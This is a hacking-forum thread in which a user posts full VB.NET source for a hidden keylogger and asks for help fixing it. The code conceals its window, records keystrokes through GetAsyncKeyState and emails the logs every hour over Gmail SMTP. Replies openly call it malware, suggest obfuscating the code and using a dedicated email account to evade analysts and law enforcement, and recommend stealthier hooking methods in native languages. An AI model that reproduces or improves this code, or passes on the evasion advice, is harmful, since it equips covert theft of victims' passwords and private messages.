Sinisterly
Keylogger Problems, Don't know whats wrong - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: Keylogger Problems, Don't know whats wrong (/Thread-Keylogger-Problems-Don-t-know-whats-wrong)

Pages: 1 2


Keylogger Problems, Don't know whats wrong - Sikom - 12-01-2014

The code is supposed to send an email with the logs every 60 min? And check the key every 5 mili sec? It's hidden and is supposed to show when i press Alt and Ctrl. Please help me, (i only accept source code.
Code:
Option Strict On Imports System.Net.Mail Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick Try Dim SmtpServer As New SmtpClient SmtpServer.EnableSsl = True Dim mail As New MailMessage SmtpServer.Credentials = New Net.NetworkCredential("MyMail@gmail.com", "MyPassword") SmtpServer.Port = 587 SmtpServer.Host = "smtp.gmail.com" mail = New MailMessage mail.From = New MailAddress("MyMail@gmail.com") mail.To.Add("MyMail@gmail.com") mail.Subject = ("New Logs") mail.Body = txtLogs.Text SmtpServer.Send(mail) Catch ex As Exception Me.Close() End Try End Sub Private Sub tmrKeys_Tick(sender As Object, e As EventArgs) Handles tmrKeys.Tick Dim result As Integer Dim key As String Dim i As Integer For i = 2 To 90 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then key = Chr(i) If i = 13 Then key = vbNewLine Exit For End If Next i If key <> Nothing Then If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then txtLogs.Text &= key Else txtLogs.Text &= key.ToLower End If End If If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown Then Me.Visible = True End If End Sub Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed txtLogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine End Sub Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load Me.ShowInTaskbar = False Me.ShowIcon = False Me.Visible = False txtLogs.Text = "keylogger started at: " & Now & vbNewLine End Sub End Class



RE: Keylogger Problems, Don't know whats wrong - Reiko - 12-01-2014

I don't know VB, so I can't really help you much.
What I can say for a fact is that if an analyst got his hands on this, he'd tear you apart starting with your email account.

What part of it isn't working? The email, or the actual key checking?


RE: Keylogger Problems, Don't know whats wrong - Sikom - 12-01-2014

(12-01-2014, 06:57 PM)Reiko Wrote: I don't know VB, so I can't really help you much.
What I can say for a fact is that if an analyst got his hands on this, he'd tear you apart starting with your email account.

What part of it isn't working? The email, or the actual key checking?

This is an account just for this pupose so what ever and i think the email works but not sure, the key logging is not working, atleast not printing it in the txtLogs.text thingy


RE: Keylogger Problems, Don't know whats wrong - dopamine - 12-01-2014

Don't use Forms for malware, Don't use GetAsyncKeyState for keylogging, don't use .NET for malware.


RE: Keylogger Problems, Don't know whats wrong - Sikom - 12-01-2014

(12-01-2014, 08:32 PM)dopamine Wrote: Don't use Forms for malware, Don't use GetAsyncKeyState for keylogging, don't use .NET for malware.

Why, Why and Why?

(12-01-2014, 06:57 PM)Reiko Wrote: What I can say for a fact is that if an analyst got his hands on this, he'd tear you apart starting with your email account.

How would i fix that?


RE: Keylogger Problems, Don't know whats wrong - roger_smith - 12-01-2014

(12-01-2014, 08:57 PM)SimPlaysGames Wrote: Why, Why and Why?


How would i fix that?

i'm interested in the answer to taht as well. Only thing I really thought about so far was

1)using a specific email for this exact purpose and nothing else (LE could subpoena records for this)
2) Obfuscate the code (because who can de-obfuscate code, right?)

I may be thinking the wrong way about this though because I deal mostly with PHP stuff that does this, and I'm not a programmer so... useful response is useful, right? (/sarcasm)


RE: Keylogger Problems, Don't know whats wrong - Sikom - 12-01-2014

(12-01-2014, 09:12 PM)roger_smith Wrote: i'm interested in the answer to taht as well. Only thing I really thought about so far was

1)using a specific email for this exact purpose and nothing else (LE could subpoena records for this)
2) Obfuscate the code (because who can de-obfuscate code, right?)

I may be thinking the wrong way about this though because I deal mostly with PHP stuff that does this, and I'm not a programmer so... useful response is useful, right? (/sarcasm)

The email i am using is a spesific email so i have done that, i am not fully retarded.... i would say


RE: Keylogger Problems, Don't know whats wrong - dopamine - 12-01-2014

(12-01-2014, 08:57 PM)SimPlaysGames Wrote: Why, Why and Why?

Why not use forms:
- Bloated size
- If your malware is invisible then why use GUI?

Why not use GetAsyncKeyState:
- Poor method for keylogging
- Slow
- Requires constant loop
- Impossible to catch all keys

Why not use .NET:
- Slow
- Forget about writing anything decent


RE: Keylogger Problems, Don't know whats wrong - Sikom - 12-01-2014

(12-01-2014, 09:48 PM)dopamine Wrote: Why not use forms:
- Bloated size
- If your malware is invisible then why use GUI?

Why not use GetAsyncKeyState:
- Poor method for keylogging
- Slow
- Requires constant loop
- Impossible to catch all keys

Why not use .NET:
- Slow
- Forget about writing anything decent

-GUI Because the keylogger should write the text into the text box.

What should i use instead of ASync?
What should i write keyloggers in?


RE: Keylogger Problems, Don't know whats wrong - dopamine - 12-01-2014

(12-01-2014, 09:53 PM)SimPlaysGames Wrote: -GUI Because the keylogger should write the text into the text box.

What should i use instead of ASync?
What should i write keyloggers in?

As keylogger is malware I strongly suggest to use a native language such as C/C++ or Pascal/Delphi.

SetWindowsHookEx is a better alternative. Hooking user32!TranslateMessage is even better.